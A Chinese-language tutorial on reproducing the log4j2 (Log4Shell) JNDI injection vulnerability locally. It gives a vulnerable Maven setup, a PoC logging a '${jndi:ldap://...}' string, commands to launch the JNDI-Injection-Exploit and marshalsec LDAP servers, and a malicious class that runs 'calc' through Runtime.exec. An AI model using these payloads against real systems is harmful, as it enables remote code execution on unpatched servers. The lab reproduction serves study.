log4j2详细漏洞复现与排坑
漏洞就不说了,大家都在加班吧哈哈。然后直接进入正题
环境准备
1.可以直接去vulhub下集成环境
2.自己建maven项目导入log4j2的包即可
我vulhub的环境还没下,用的第二种
首先maven引入
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency>
然后在resource下创建log4j2.xml
内容我没细看网上抄的,日志路径改下就行,有懂的师傅别喷
<?xml version="1.0" encoding="UTF-8"?> <configuration status="error"> <!--先定义所有的appender --> <appenders> <!--这个输出控制台的配置 --> <Console name="Console" target="SYSTEM_OUT"> <!-- 控制台只输出level及以上级别的信息(onMatch),其他的直接拒绝(onMismatch) --> <ThresholdFilter level="trace" onMatch="ACCEPT" onMismatch="DENY"/> <!-- 这个都知道是输出日志的格式 --> <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %class{36} %L %M - %msg%xEx%n"/> </Console> <!--文件会打印出所有信息,这个log每次运行程序会自动清空,由append属性决定,这个也挺有用的,适合临时测试用 --> <!--append为TRUE表示消息增加到指定文件中,false表示消息覆盖指定的文件内容,默认值是true --> <File name="log" fileName="E:/m_project/src/main/log4gRCE/log4j2.log" append="false"> <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %class{36} %L %M - %msg%xEx%n"/> </File> <!--添加过滤器ThresholdFilter,可以有选择的输出某个级别以上的类别 onMatch="ACCEPT" onMismatch="DENY"意思是匹配就接受,否则直接拒绝 --> <File name="ERROR" fileName="E:/m_project/src/main/log4gRCE/error.log"> <ThresholdFilter level="error" onMatch="ACCEPT" onMismatch="DENY"/> <PatternLayout pattern="%d{yyyy.MM.dd 'at' HH:mm:ss z} %-5level %class{36} %L %M - %msg%xEx%n"/> </File> <!--这个会打印出所有的信息,每次大小超过size,则这size大小的日志会自动存入按年份-月份建立的文件夹下面并进行压缩,作为存档 --> <RollingFile name="RollingFile" fileName="E:/m_project/src/main/log4gRCE/web.log" filePattern="logs/$${date:yyyy-MM}/web-%d{MM-dd-yyyy}-%i.log.gz"> <PatternLayout pattern="%d{yyyy-MM-dd 'at' HH:mm:ss z} %-5level %class{36} %L %M - %msg%xEx%n"/> <SizeBasedTriggeringPolicy size="2MB"/> </RollingFile> </appenders> <!--然后定义logger,只有定义了logger并引入的appender,appender才会生效 --> <loggers> <root level="trace"> <appender-ref ref="RollingFile"/> <appender-ref ref="Console"/> <appender-ref ref="ERROR" /> <appender-ref ref="log"/> </root> </loggers> </configuration>
创建poc
import org.apache.logging.log4j.Level; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4jRCE { private static Logger logger = LogManager.getLogger(Log4jRCE.class); public static void main(String[] args) { //jdk高版本必须 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); //logger.info("${jndi:ldap://127.0.0.1:1389/wkcpkh}");//JNDI-Injection方式 logger.info("${jndi:ldap://127.0.0.1:1389/aa}");//这个aa是瞎填的,填别的也可以,但必须要有 } }
利用工具
这里我用了两种工具分别去做:
1.marshalsec-0.0.3-SNAPSHOT-all.jar
2.JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
这里用第一种是有坑点的,很多复现不出来的小伙伴可能是这里的问题,所以单纯为了复现我推荐第二种工具
JNDI-Injection
先看这种工具,运行 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "127.0.0.1"
它会运行三个服务,8180web服务,1099 rmi服务 ,1389 ldap服务
它会帮你构建好恶意类地址和ldap服务,在poc中JNDI-Injection方式运行即可(注意替换url)
marshalsec
这种方式比较费事,而且有两个大坑
首先先起一个http服务,模拟我们的vps,我用python3起的,其它方式也可
python -m http.server
然后写一个恶意类,这里第一个坑来了,如果你习惯用idea写代码run去编译的话,很容易出错
因为你的编辑器会自动给你加入package路径,但是服务器触发你的恶意类时,服务器上并没有此路径,你会得到Exception in thread "main" java.lang.NoClassDefFoundError的报错
所以你应该使用javac编译,恶意类代码如下
public class TestExec { public TestExec(){ } static { try { String var0 = "calc"; Runtime.getRuntime().exec(var0); } catch (Exception var1) { var1.printStackTrace(); } System.out.println(); } }
这其实就是JNDI-Injection生成的,我们直接拿来用了。
现在启动marshalsec提供一个ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/m_project/#TestExec
井号后门是恶意类名,路径为你启动服务的路径
到这里基本就可以了,但是一定要注意我上面poc中的注释,你去访问marshalsec的ldap服务时如果不加入随机路径,就会得到如下所示
这很明显是一个object,但并没有执行静态代码,具体原因未知
而加入随机路径后得到的是
并且弹出了计算器